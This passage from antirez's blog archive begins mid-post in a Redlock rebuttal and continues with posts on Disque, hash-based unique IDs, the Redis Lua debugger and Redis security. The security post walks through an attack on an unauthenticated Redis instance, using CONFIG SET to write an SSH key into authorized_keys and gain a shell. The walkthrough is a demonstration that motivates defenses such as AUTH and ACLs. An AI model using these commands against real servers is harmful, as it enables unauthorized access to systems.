much shorter than the expiry duration.” So let’s split the above claims into different parts: 1. Redis nodes hold keys for approximately the right length of time. 2. Network delays are small compared to the expiry duration. 3. Process pauses are much shorter than the expiry duration. All the time Martin says that “the system clock jumps” I assume that we covered this by not poking with the system time in a way that is a problem for the algorithm, or for the sake of simplicity by using the monotonic time API. So: About claim 1: This is not an issue, we assumed that we can count time approximately at the same speed, unless there is any actual argument against it. About claim 2: Things are a bit more complex. Martin says: “Okay, so maybe you think that a clock jump is unrealistic, because you’re very confident in having correctly configured NTP to only ever slew the clock.” (Yep we agree here ;-) he continues and says…) “In that case, let’s look at an example of how a process pause may cause the algorithm to fail: Client 1 requests lock on nodes A, B, C, D, E. While the responses to client 1 are in flight, client 1 goes into stop-the-world GC. Locks expire on all Redis nodes. Client 2 acquires lock on nodes A, B, C, D, E. Client 1 finishes GC, and receives the responses from Redis nodes indicating that it successfully acquired the lock (they were held in client 1’s kernel network buffers while the process was paused). Clients 1 and 2 now both believe they hold the lock.” If you read the Redlock specification, that I hadn't touched for months, you can see the steps to acquire the lock are: 1. Get the current time. 2. … All the steps needed to acquire the lock … 3. Get the current time, again. 4. Check if we are already out of time, or if we acquired the lock fast enough. 5. Do some work with your lock. Note steps 1 and 3. Whatever delay happens in the network or in the processes involved, after acquiring the majority we *check again* that we are not out of time. The delay can only happen after steps 3, resulting into the lock to be considered ok while actually expired, that is, we are back at the first problem Martin identified of distributed locks where the client fails to stop working to the shared resource before the lock validity expires. Let me tell again how this problem is common with *all the distributed locks implementations*, and how the token as a solution is both unrealistic and can be used with Redlock as well. Note that whatever happens between 1 and 3, you can add the network delays you want, the lock will always be considered not valid if too much time elapsed, so Redlock looks completely immune from messages that have unbound delays between processes. It was designed with this goal in mind, and I cannot see how the above race condition could happen. Yet Martin's blog post was also reviewed by multiple DS experts, so I’m not sure if I’m missing something here or simply the way Redlock works was overlooked simultaneously by many. I’ll be happy to receive some clarification about this. The above also addresses “process pauses” concern number 3. Pauses during the process of acquiring the lock don’t have effects on the algorithm's correctness. They can however, affect the ability of a client to make work within the specified lock time to live, as with any other distributed lock with auto release, as already covered above. Digression about network delays --- Just a quick note. In server-side implementations of a distributed lock with auto-release, the client may ask to acquire a lock, the server may allow the client to do so, but the process can stop into a GC pause or the network may be slow or whatever, so the client may receive the "OK, the lock is your" too late, when the lock is already expired. However you can do a lot to avoid your process sleeping for a long time, and you can't do much to avoid network delays, so the steps to check the time before/after the lock is acquired, to see how much time is left, should actually be common practice even when using other systems implementing locks with an expiry. Fsync or not? ------------- At some point Martin talks about the fact that Redlock uses delayed restarts of nodes. This requires, again, the ability to be able to wait more or less a specified amount of time, as covered above. Useless to repeat the same things again. However what is important about this is that, this step is optional. You could configure each Redis node to fsync at every operation, so that when the client receives the reply, it knows the lock was already persisted on disk. This is how most other systems providing strong guarantees work. The very interesting thing about Redlock is that you can opt-out any disk involvement at all by implementing delayed restarts. This means it’s possible to process hundreds of thousands locks per second with a few Redis instances, which is something impossible to obtain with other systems. GPS units versus the local computer clock ----------------------------------------- Returning to the system model, one thing that makes Redlock system model practical is that you can assume a process to never be partitioned with the system clock. Note that this is different compared to other semi synchronous models where GPS units are used, because there are two non obvious partitions that may happen in this case: 1. The GPS is partitioned away from the GPS network, so it can’t acquire a fix. 2. The process and the GPS are not able to exchange messages or there are delays in the messages exchanged. The above problems may result into a liveness or safety violation depending on how the system is orchestrated (safety issues only happen if there is a design error, for example if the GPS updates the system time asynchronously so that, when the GPS does not work, the absolute time error may go over the maximum bound). The Redlock system model does not have these complexities nor requires additional hardware, just the computer clock, and even a very cheap clock with all the obvious biases due to the crystal temperature and other things influencing the precision. Conclusions ----------- I think Martin has a point about the monotonic API, Redis and Redlock implementations should use it to avoid issues due to the system clock being altered. However I can’t identify other points of the analysis affecting Redlock safety, as explained above, nor do I find his final conclusions that people should not use Redlock when the mutual exclusion guarantee is needed, justified. It would be great to both receive more feedbacks from experts and to test the algorithm with Jepsen, or similar tools, to accumulate more data. A big thank you to the friends of mine that helped me to review this post. Comments

• Disque 1.0 RC1 is out!
  Antirez · Jan 02, 2016

  Today I’m happy to announce that the first release candidate for Disque 1.0 is available. If you don't know what Disque is, the best starting point is to read the README in the Github project page at http://github.com/antirez/disque. Disque is a just piece of software, so it has a material value which can be zero or more, depending on its ability to make useful things for people using it. But for me there is an huge value that goes over what Disque, materially, is. It is the value of designing and doing something you care about. It’s the magic of programming: where there was nothing, now there is something that works, that other people may potentially analyze, run, use. Distributed systems are a beautiful field. Thanks to Redis, and to the people that tried to mentor me in a way or the other, I got exposed to distributed systems. I wanted to translate this love to something tangible. A new, small system, designed from scratch, without prejudices and without looking too closely to what other similar systems were doing. The experience with Redis shown me that message brokers were a very interesting topic, and that in some way, they are the perfect topic to apply DS concepts. I even pretend message brokers can be fun and exciting. So I tried to design a new message queue, and Disque is the result. Disque design goal is to provide a system with a good user experience: to provide certain guarantees in the context of messaging, guarantees which are easy to reason about, and to provide extreme operational simplicity. The RC1 offers the foundation, but there is more work to do. For once I hope that Disque will be tested by Aphyr with Jepsen in depth. Since Disque is a system that provides certain kinds of guarantees that can be tested, if it fails certain tests, this translates directly to some bug to fix, that means to end with a better system. On the operational side there is to test it in the real world. AP and message queues IMHO are a perfect match to provide operational robustness. However I’m not living into the illusion that I got everything right in the first release, so it will take months (or years?) of iteration to *really* reach the operational simplicity I’m targeting. Moreover this is an RC1 that was heavily modified in the latest weeks, I expect it to have a non trivial amount of bugs. From the point of view of making a fun and exciting system, I tried to end with a simple and small API that does not force the user to think at the details of *this specific* implementation, but more generally at the messaging problem she or he got. Disque also has a set of introspection capabilities that should help making it a non-opaque system that is actually possible to debug and observe. Even with all the limits of new code and ideas, the RC release is a great first step, and I’m glad Disque is not in the list of side projects that we programmers start and never complete. I was not alone during the past months, while hacking with Disque and trying to figure out how to shape it, I received the help of: He Sun, Damian Janowski, Josiah Carlson, Michel Martens, Jacques Chester, Kyle Kingsbury, Mark Paluch, Philipp Krenn, Justin Case, Nathan Fritz, Marcos Nils, Jasper Louis Andersen, Vojtech Vitek, Renato C., Sebastian Waisbrot, Redis Labs and Pivotal, and probably more people I’m not remembering right now. Thank you for your help. The RC1 is tagged in the Disque Github repository. Have fun! Comments

• Generating unique IDs: an easy and reliable way
  Antirez · Nov 21, 2015

  Two days ago Mike Malone published an interesting post on Medium about the V8 implementation of Math.random(), and how weak is the quality of the PRNG used: http://bit.ly/1SPDraN. The post was one of the top news on Hacker News today. It’s pretty clear and informative from the point of view of how Math.random() is broken and how should be fixed, so I’ve nothing to add to the matter itself. But since the author discovered the weakness of the PRNG in the context of generating large probably-non-colliding IDs, I want to share with you an alternative that I used multiple times in the past, which is fast and extremely reliable. The problem of unique IDs - - - So, in theory, if you want to generate unique IDs you need to store some state that makes sure an ID is never repeated. In the trivial case you may use just a simple counter. However the previous ID generated must be stored in a consistent way. In case of restart of the system, it should never happen that the same ID is generated again because our stored counter was not correctly persisted on disk. If we want to generate unique IDs using multiple processes, each process needs to make sure to prepend its IDs with some process-specific prefix that will never collide with another process prefix. This can be complex to manage as well. The simple fact of having to store in a reliable way the old ID is very time consuming when we want to generate an high number of IDs per second. Fortunately there is a simple solution. Generate a random number in a range between 0 and N, with N so big that the probability of collisions is so small to be, for every practical application, irrelevant. This works if the number we generate is uniformly distributed between 0 and N. If this prerequisite is true we can use the birthday paradox in order to calculate the probability of collisions. By using enough bits it’s trivial to make the probability of a collision billions of times less likely than an asteroid centering the Earth, even if we generate millions of IDs per second for hundreds of years. If this is not enough margin for you, just add more bits, you can easily reach an ID space larger than the number of atoms in the universe. This generation method has a great advantage: it is completely stateless. Multiple nodes can generate IDs at the same time without exchanging messages. Moreover there is nothing to store on disk so we can go as fast as our CPU can go. The computation will easily fit the CPU cache. So it’s terribly fast and convenient. Mike Malone was using this idea, by using the PRNG in order to create an ID composed of a set of characters, where each character was one of 64 possible characters. In order to create each character the weak V8 PRNG was used, resulting into collisions. Remember that our initial assumption is that each new ID must be selected uniformly in the space between 0 and N. You can fix this problem by using a stronger PRNG, but this requires an analysis of the PRNG. Another problem is seeding, how do you start the process again after a restart in order to make sure you don’t pick the initial state of the PRNG again? Otherwise your real ID space is limited by the seeding of the PRNG, not the output space itself. For all the above reasons I want to show you a trivial technique that avoids most of these problems. Using a crypto hash function to generate unique IDs - - - Cryptographic hash functions are non invertible functions that transform a sequence of bits into a fixed sequence of bits. They are designed in order to resist a variety of attacks, however in this application we only rely on a given characteristic they have: uniformity of output. Changing a bit in the input of the hash function will result in each bit of the output to change with a 50% probability. In order to have a reliable seed, we use some help from the operating system, by querying /dev/urandom. Seeding the generator is a moment where we really want some external entropy, otherwise we really risk of doing some huge mistake and generating the same sequence again. As an example of crypto hash function we'll use the well known SHA1, that has an output of 160 bits. Note that you could use even MD5 sum for this application: the vulnerabilities it has have no impact in our usage here. We start creating a seed, by reading 160 bits from /dev/urandom. In pseudocode it will be something like: seed = devurandom.read(160/8) We also initialize a counter: counter = 0 Now this is the function that will generate every new ID: function get_new_id() myid = SHA1(string(counter) + seed) counter = counter + 1 return myid end Basically we have a fixed string, which is our seed, and we hash it with a progressive counter, so if our seed is “foo”, we output new IDs as: SHA1(“0foo”) SHA1(“1foo”) SHA1(“2foo”) This is already good for our use case. However we may also need that our IDs are not easy to predict. In order to make the IDs very hard to predict instead of using SHA1 in the get_new_id() function, just use SHA1_HMAC() instead, where the seed is the secret, and the counter the message of the HMAC. This method is fast, has guaranteed good distribution, so collisions will be as hard as predicted by the birthday paradox, there is no analysis needed on the PRNG, and is completely stateless. I use it on my Disque project in order to generate message IDs among multiple nodes in a distributed system. Hacker News thread here: https://news.ycombinator.com/item?id=10606910 Comments

• 6 years of commit visualized
  Antirez · Nov 20, 2015

  Today I was curious about plotting all the Redis commits we have on Git, which are 90% of all the Redis commits. There was just an initial period where I used SVN but switched very soon. Full size image here: http://antirez.com/misc/commitsvis.png !~! Each commit is a rectangle. The height is the number of affected lines (a logarithmic scale is used). The gray labels show release tags. There are little surprises since the amount of commit remained pretty much the same over the time, however now that we no longer backport features back into 3.0 and future releases, the rate at which new patchlevel versions are released diminished. Major releases look more or less evenly spaced between 2.6, 2.8 and 3.0, but were more frequent initially, something that should change soon as we are trying to switch to time-driven releases with 3 new major release each year (that obviously will contain less new things compared to the amount of stuff was present in major releases that took one whole year). For example 3.2 RC is due for December 2015. Patch releases of a given major release tend to have a logarithmic curve shape. As a release mature, in general it gets less critical bugs. Also attention shifts progressively to the new release. I would love Github to give us stuff like that and much more. There is a lot of data in commits of a project that is there for years. This data should be analyzed and explored... it's a shame that the graphics section is apparently the same thing for years. EDIT: The Tcl script used to generate this graph is here: https://github.com/antirez/redis/tree/unstable/utils/graphs/commits-over-time Comments

• Recent improvements to Redis Lua scripting
  Antirez · Nov 19, 2015

  Lua scripting is probably the most successful Redis feature, among the ones introduced when Redis was already pretty popular: no surprise that a few of the things users really want are about scripting. The following two features were suggested multiple times over the last two years, and many people tried to focus my attention into one or the other during the Redis developers meeting, a few weeks ago. 1. A proper debugger for Redis Lua scripts. 2. Replication, and storage on the AOF, of Lua scripts as a set of write commands materializing the *effects* of the script, instead of replicating the script itself as we normally do. The second feature is not just a matter of how scripts are replicated, but also touches what you can do with Lua scripting as we will see later. Back from London, I implemented both the features. This blog post describes both, giving a few hints about the design and implementation aspects that may be interesting for the readers. A proper Lua debugger --- Lua scripting was initially conceived in order to write really trivial scripts. Things like: if the key exists do this. A couple of lines in order to avoid bloating Redis with all the possible variations of commands. Of course users did a lot more with it, and started to write complex scripts: from quad-tree implementations to full featured messaging systems with non trivial semantics. Lua scripting makes Redis programmable, and usually programmers can’t resist to programmable things. It helps that all the Lua scripts run using the same interpreter and are cached, so they are very fast. It is most of the time possible to do a lot more with a Redis instance by using Lua scripting, both functionally and in terms of operations per second. So complex scripts totally have their place today. We went from a very cold reception of the scripting feature (something as dynamic as a script sent to a database!), to mass usage, to writing complex scripts in a matter of a few years. However writing simple scripts and writing complex scripts is a completely different matter. Bigger programs become exponentially more complex, and you can feel this even when going from 10 to 200 lines of code. While you can debug by brute force any simple script, just trying a few variants and observing the effects on the data set, or putting a few logging instructions in the middle, with complex scripts you have a bad time without a debugger. My colleague Itamar Haber used a lot of his time to write complex scripts recently. At some point he also wrote some kind of debugger for Redis Lua scripting using the Lua debug library. This debugger no longer works since the debug library is now no longer exposed to scripts, for sandboxing concerns, and in general, what you want in a Redis debugger is an interactive and remote debugger, with a proper client able to work alongside with the server, to provide a good debugging experience. Debugging is already a lot of hard work, to have solid tools is really a must. The only way to accomplish this result, was to add proper debugging support inside Redis itself. So back from London Itamar and I started to talk about what a debugger should export to the user in order to be kinda of useful, and a real upgrade compared to the past. It was also discussed to just add support for the Lua debuggers that already exist outside the Redis ecosystem. However I strongly believe the user experience is enhanced when everything is designed specifically to work well with Redis, so in the end I decided to wrote the debugger from scratch. A few things were sure: we needed a remote debugger where you could attach to Redis, start a debugging session, have good observability of what the script was doing with the Redis dataset. A special concern of mine was to have colorized output, of course ;-) I wanted to make debugging a fun experience, and to have a very fast learning curve, which are related. Now to show how a debugger work, by writing a blog post about it, is surely possible but, even a purist like me writing articles in courier, will resort to a video from time to time. So here is longish video showing the main features of the Redis debugger. I start talking like a bit depressed since this was early in the morning, but after a few minutes coffee fires in and you’ll se me more happy. (Hint: watch the video in full screen to have acceptable font size for the interactive session. Video is high quality enough to make them readable) !~! If you are not into playing videos, a short recap of what you can do with the Lua debugger is provided by the debugger help screen itself: $ ./redis-cli --ldb --eval /tmp/script.lua Lua debugging session started, please use: quit -- End the session. restart -- Restart the script in debug mode again. help -- Show Lua script debugging commands. * Stopped at 1, stop reason = step over -> 1 local src = KEYS[1] lua debugger> help Redis Lua debugger help: [h]elp Show this help. [s]tep Run current line and stop again. [n]ext Alias for step. [c]continue Run till next breakpoint. [l]list List source code around current line. [l]list [line] List source code around [line]. line = 0 means: current position. [l]list [line] [ctx] In this form [ctx] specifies how many lines to show before/after [line]. [w]hole List all source code. Alias for 'list 1 1000000'. [p]rint Show all the local variables. [p]rint Show the value of the specified variable. Can also show global vars KEYS and ARGV. [b]reak Show all breakpoints. [b]reak Add a breakpoint to the specified line. [b]reak - Remove breakpoint from the specified line. [b]reak 0 Remove all breakpoints. [t]race Show a backtrace. [e]eval Execute some Lua code (in a different callframe). [r]edis Execute a Redis command. [m]axlen [len] Trim logged Redis replies and Lua var dumps to len. Specifying zero as means unlimited. [a]abort Stop the execution of the script. In sync mode dataset changes will be retained. Debugger functions you can call from Lua scripts: redis.debug() Produce logs in the debugger console. redis.breakpoint() Stop execution like if there was a breakpoing. in the next line of code. lua debugger> How it works? --- The whole debugger is pretty much a self contained block of code, and consists of 1300 lines of code, mostly inside scripting.c, but a few inside redis-cli.c, in order to implement the CLI special mode acting as a client for the debugger. As already said this is a server-client remote debugger. The Lua C API has a debugging interface that’s pretty useful. Is not a debugger per-se, but offers the primitives you need in order to write a debugger. However writing a debugger in the context of Redis was a bit less trivial that writing a Lua stand-alone debugger. In order to debug the script you have callbacks executed while the script is running. But when Redis is running a script, we are in the context of EVAL, executing a client command. How to do I/O there if we are blocked? Also what happens to the Redis server? Even if debugging must be performed in a development server and not into a production server, to completely hang the instance may not be a good idea. Maybe other developers want to use the instance, or the single developer that is debugging the script wants to create a new parallel debugging session. And finally, what about rolling back the changes so that the same script can be tested again and again with the same Redis data set, regardless of the changes it does while we are debugging? Determinism is gold in the context of debugging. So I needed a complex implementation, apparently. Or I needed to cheat big time, and find a strange solution to the problem involving a lot less code and complexity, but giving 90% of the benefits I was looking for. This odd solution turned out to be the following: * When a debugging session starts, fork() Redis. * Capture the client file descriptor, and do direct, blocking I/O while the debugging session is active. * Use the Redis protocol, but a trivial subset that can be implemented in a couple of lines of code, so that we don’t re-enter the Redis event loop at all. The I/O is part of the debugger. After 400 lines of code I had all the basic working, so the rest was just a matter of adding features and fixing bugs and corner cases. This gives us everything we needed: the server is not blocked since each debugging session is a separated process. We don’t need to re-enter the event loop from within the middle of an EVAL call, and we have rollback for free. However, there is also a synchronous mode available, that blocks the server, in the case you really need to debug something while preserving the changes to the dataset. I’ve the feeling this will not be used much at all but to add this mode was a matter of not forking and handling the cleanup of the client at the end, so I added this mode as well. On top of that it was possible to add everything else using a Lua “line” hook in order to implement stepping and breakpoints. Since the debugger is integrated inside Redis itself, it was trivial to capture all the Redis calls to show the user what was happening. The I/O model is also trivial, we just read input from the user and output appending to a buffer. Every time the debugger stops at some point, the output is flushed to the client as an array of “status replies”. The prefix of each line hints redis-cli about the colorization to provide. Because of this design, the debugger was working after 2 days and was complete after 4 days of work. Moreover this design allowed me to write completely self contained code, so the debugger interacts almost zero with the rest of Redis. This will make possible to release it with Redis 3.2 in December. A simple way to make the debugger much more powerful almost for free was to add two new Redis Lua calls: redis.breakpoint() and redis.debug(), that respectively can simulate a breakpoint inside the debugger (to the next line to be executed), or log Lua objects in the debugger console. This way you can add breakpoints that only fire when something interesting happens: if some_odd_condition then redis.breakpoint() end This effectively replaces a lot of complex features you may add into a debugger. However we also have all the normal features directly inside the debugger, like static breakpoints, the ability to observe the state, and so forth. I’m very interested in what users writing complex scripts will think about it! We’ll see. Script effects replication --- Before understanding why replicating just the *effects* of a script is interesting, it’s better to understand why instead by default replicating the script itself, to be re-executed by slaves, was considered the best option and is anyway the default. The central matter is: bandwidth between the master and the salve, and in general the ability of the slave to “follow” the master (keep in sync without too much delay) and don’t lag behind. Think at this small Redis Lua script: local i; for i=0,1000000 do redis.call(“lpush”,KEYS[1],ARGV[1]) end It appends 1 million elements to the specified list and runs in 0.75 seconds in my testing environment. It’s just a few bytes, and runs inside the server, so replicating this script as script, and not as the 1 million commands resulting from the script execution, makes a lot of sense. There are scripts which are exactly the opposite. At the other side of the spectrum there is a script that calculates the average of 1 million integer elements stored into a list, and stores the result setting some key with SET. The effect of the script could be just: SET somekey 94.29 But the actual execution is maybe 2 seconds of computation. Replicating this script as the resulting command is much better. However there is a difference between replicating scripts and replicating effects: both are optimal or suboptimal depending on the use case, but replicating scripts always work, even when it’s inefficient. It never creates a situation where the replication link has to transfer huge amount of data, nor it creates a situation where the slave has to do a lot more work than the master. This is why so far Redis always used to replicate scripts verbatim. However the most interesting part perhaps is that’s not just a matter of efficiency. When replicating scripts we need that each script is a *pure function*. Scripts executed with the same initial dataset, must produce always the same result. This requirement, prevents users from writing scripts using, for example, the TIME command, or SRANDMEMBER. Redis detects this dangerous condition and stops the script as soon as the first write command is going to be called. Yet there are many use cases for scripts using the current time, random numbers or random elements. Replicating the effects of the script also overcomes this limitation. So finally, and thanks to refactoring performed inside Redis in the previous months, it was possible to implement opt-in support for scripts effects replication. It is as trivial as calling, at the start of the script, the following command: redis.replicate_commands() … do something with the script … The script will be replicated only as a set of write commands. Actually there is no need to call replicate_commands() as the first command. It is enough to call it before any write, so the Lua script may even check the work to do and select the right replication model. If writes were already performed when replicate_commands() is called, it just returns false, and the normal whole script replication will be used, so the command will never prevent the script from running, even when misused. However we did not resisted to the temptation of doing more advanced and possibly dangerous things. I designed this feature with my colleague Yossi Gottleib from Redis Labs, and he had a very compelling use case for a dangerous feature allowing the exclusion of selected commands from the replication stream. The idea is that your script may do something like that: 1) Call certain commands that write temporary values. Think at intersections between sets just to have a mental model. 2) Perform some aggregation. 3) Store a small result as the effect of the script. 4) Discard the temporary values. There are a few legitimate use cases for the above pattern, and guess what, you don’t want to replicate the temporary writes to your AOF and slaves. You want replicate just step “3”. So in the end we decided that, when script effects replication is enabled, it is possible for the brave user, to select what replicate and what not, by using the following API: redis.set_repl(redis.REPL_ALL); -- The default redis.set_repl(redis.REPL_NONE); -- No replication at all redis.set_repl(redis.REPL_AOF); -- Just AOF replication redis.set_repl(redis.REPL_SLAVE); -- Just slaves replication There is a lot of room for misuse, but non expert users are very unlikely to touch this feature at all, and it can benefit who knows what to do with powerful tools. ETA --- Both features will be available into Redis 3.2, that will be out as an RC in mid December 2015. Redis 3.2 is going to have many interesting new features at API level, exposed to users. A big part of the user base asked for this, after a period where we focused more into operations and internals maturity. Feel free to ask questions in the comments if you want to know more or have any doubt. Hacker News thread is here: https://news.ycombinator.com/item?id=10594236 Comments

• A few things about Redis security
  Antirez · Nov 03, 2015

  IMPORTANT EDIT: Redis 3.2 security improved by implementing protected mode. You can find the details about it here: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/ From time to time I get security reports about Redis. It’s good to get reports, but it’s odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world. Yet these bug reports are often useful since there are different levels of security concerning any software in general and Redis specifically. What you can do if you have access to the database, just modify the content of the database itself or compromise the local system where Redis is running? How important is a given security layer in a system depends on its security model. Is a system designed to have untrusted users accessing it, like a web server for example? There are different levels of authorization for different kinds of users? The Redis security model is: “it’s totally insecure to let untrusted clients access the system, please protect it from the outside world yourself”. The reason is that, basically, 99.99% of the Redis use cases are inside a sandboxed environment. Security is complex. Adding security features adds complexity. Complexity for 0.01% of use cases is not great, but it is a matter of design philosophy, so you may disagree of course. The problem is that, whatever we state in our security page, there are a lot of Redis instances exposed to the internet unintentionally. Not because the use case requires outside clients to access Redis, but because nobody bothered to protect a given Redis instance from outside accesses via fire walling, enabling AUTH, binding it to 127.0.0.1 if only local clients are accessing it, and so forth. Let’s crack Redis for fun and no profit at all given I’m the developer of this thing === In order to show the Redis “security model” in a cruel way, I did a quick 5 minutes experiment. In our security page we hint at big issues if Redis is exposed. You can read: “However, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”. So my experiment was the following: I’ll run a Redis instance in my Macbook Air, without touching the computer configuration compared to what I’ve currently. Now from another host, my goal is to compromise my laptop. So, to start let’s check if I can access the instance, which is a prerequisite: $ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host. Works, and no AUTH required. Redis is unprotected without a password set up, and so forth. The simplest thing you can do in such a case, is to write random files. Guess what? my Macbook Air happens to run an SSH server. What about trying to write something into ~/ssh/authorized_keys in order to gain access? Let’s start generating a new SSH key: $ ssh-keygen -t rsa -C "crack@redis.io" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+ Now I’ve a key. My goal is to put it into the Redis server memory, and later to transfer it into a file, in a way that the resulting authorized_keys file is still a valid one. Using the RDB format to do this has the problem that the output will be binary and may in theory also compress strings. But well, maybe this is not a problem. To start let’s pad the public SSH key I generated with newlines before and after the content: $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli: ~~~~~~~~~~~~~~~~~~~ NOTE: The following steps were altered in trivial ways to avoid that script kiddies cut & paste the attack, because from the moment this attack was published several Redis instances were compromised around the globe. ~~~~~~~~~~~~~~~~~~~ $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit Looks good. How to dump our memory content into the authorized_keys file? That’s kinda trivial. $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside? $ ssh -i id_rsa antirez@192.168.1.11 Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local Yes. I successfully gained access as the Redis user, with a proper shell, in like five seconds. Courtesy of a Redis instance unprotected being, basically, an on-demand-write-this-file server, and in this case, by ssh not being conservative enough to deny access to a file which is all composed of corrupted keys but for one single entry. However ssh is not the problem here, once you can write files, even with binary garbage inside, it’s a matter of time and you’ll gain access to the system in one way or the other. How to fix this crap? === We say Redis is insecure if exposed, and the security model of Redis is to be accessed only by authorized and trusted clients. But this is unfortunately not enough. Users will still run it unprotected, and even worse, there is a tension between making Redis more secure *against* deployment errors, and making Redis easy to use for people just using it for development or inside secure environments where limits are not needed. Let’s make an example. Newer versions of Redis ship with the example redis.conf defaulting to “bind 127.0.0.1”. If you run the server without arguments, it will still bind all interfaces, since I don’t want to annoy users which are likely running Redis for development. To have to reconfigure an example server just to allow connections from other hosts is kinda a big price to pay, to win just a little bit of security for people that don’t care. However the example redis.conf that many users use as a template for their configuration, defaults to binding the localhost interface. Hopefully less deployments errors will be made. However this measures are not very effective, because unfortunately what most security unaware users will do after realizing that binding 127.0.0.1 is preventing them from connecting clients from the outside, is to just drop the bind line and restart. And we are back to the insecure configuration. Basically the problem is finding a compromise between the following three things: 1. Making Redis accessible without annoyances for people that know what they do. 2. Making Redis less insecure for people that don’t know what they do. 3. My bias towards “1” instead of “2” because RTFM. Users ACLs to mitigate the problem === One way to add redundancy to the “isolation” concept of Redis from the outside world is to use the AUTH command. It’s very simple, you configure Redis in order to require a password, and clients authenticate via the AUTH command by using the configured password. The mechanism is trivial: passwords are not hashed, and are stated in cleartext inside the configuration file and inside the application, so it’s like a shared secret. While this is not resistant against people sniffing your TCP connections or compromising your application servers, it’s an effective layer of security against the obvious mistake of leaving unprotected Redis instances on the internet. A few notes about AUTH: 1. You can use Redis as an oracle in order to test many passwords per second, but the password does not need to be stored inside a human memory, just inside the Redis config file and client configurations, so pick a very large one, and make it impossible to brute force. 2. AUTH is sent when the connection is created, and most sane applications have persistent connections, so it is a very small cost to pay. It’s also an extremely fast command to execute, like GET or SET, disk is not touched nor other external system. 3. It’s a good layer of protection even for well sandboxed environments. For an error an instance may end exposed, if not to the internet, at least to clients that should not be able to talk with it. Maybe evolving AUTH is the right path in order to gain more security, so some time ago I published a proposal to add “real users” in Redis: https://github.com/redis/redis-rcp/blob/master/RCP1.md This proposal basically adds users with ACLs. It’s very similar to AUTH in the way it works and in the speed of execution, but different users have different capabilities. For example normal users are not able to access administrative commands by default, so no “CONFIG SET dir” for them, and no issues like the exploit above. The default user can yet run the normal commands (so the patches people sent me about Lua sandboxing, that I applied, are very useful indeed), and an admin user must be configured in order to use administration commands. However what we could do to make Redis more user friendly is to always have an “admin” user with empty password which is accepted if the connection comes from the loopback interface (but it should be possible to disable this feature). ACLs, while not perfect, have certain advantages. When Redis is exposed to the internet in the proper way, proxied via SSL, to have an additional layer of access control is very useful. Even when no SSL is used since we have just local clients, to protect with more fine grained control what clients can do has several advantages. For instance it can protect against programming or administration errors: FLUSHALL and FLUSHDB could be not allowed to normal users, the client for a Redis monitoring service would use an user only allowing a few selected commands, and so forth. Users that don’t care about protecting their instances will stil have a database which is accessible from the outside, but without admin commands available, which still makes things insecure from the point of view of the data contained inside the database, but more secure from the point of view of the system running the Redis instance. Basically it is impossible to reach the goal of making Redis user friendly by default and resistant against big security mistakes of users spinning an instance bound to a public IP address. However fixing bugs in the API that may allow to execute untrusted code with the same privileges of the Redis process, shipping a more conservative default configuration, and implementing multiple users with ACLs, could improve the current state of Redis security without impacting much the experience of normal Redis users that know what they are doing. Moreover ACLs have the advantage of allowing application developers to create users that match the actual limits of specific clients in the context of the application logic, making mistakes less likely to create big issues. A drawback of even this simple layer of security is that it adds complexity, especially in the context of replication, Redis Sentinel, and other systems that must all be authentication aware in order to work well in this new context. However it’s probably an effort that must be incrementally done. Hacker News: https://news.ycombinator.com/item?id=10537852 Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/ Comments

• Moving the Redis community on Reddit
  Antirez · Oct 22, 2015

  I’m just back from the Redis Dev meeting 2015. We spent two incredible days talking about Redis internals in many different ways. However while I’m waiting to receive private notes from other attenders, in order to summarize in a blog post what happened and what were the most important ideas exposed during the meetings, I’m going to touch a different topic here. I took the non trivial decision to move the Redis mailing list, consisting of 6700 members, to Reddit. This looks like a crazy ideas probably in some way, and “to move” is probably not the right verb, since the ML will still exist. However it will only be used in order to receive announcements of new releases, critical informations like security related ones, and from time to time, links to very important discussions that are happening on Reddit. Why to move? We have a huge mailing list that served us for years at this point, and there is a decent amount of traffic going on. People go there to get some help, to provide new ideas, and so forth. However while we have some traffic the Redis mailing list is IMHO far from the “vital” thing it should be, considering the number of users using Redis currently. For most parts we see the same questions again and again, and is hard to understand if a reply is really worthwhile or not. Moreover an important topic sometimes slides away because new topics arrive, sometimes without getting much attention at all. It’s like if the ML is just a far echo of the Redis popularity, not the center of its community. Twitter, while being a tool completely unsuitable for becoming the center of a community that needs to discuss things at length, is completely different, and gives me a feedback about how the Redis ML is in some way broken. It’s a lot more vital and it is possible to get quality feedbacks, but everything is limited to 140 characters in flat threads where eventually it is kinda impossible to continue any sane discussion. However Twitter and other signals I get, are the proof that people *moved away* from emails. I bet an huge amount of users subscribed to the ML just archive it into a label to read it never or 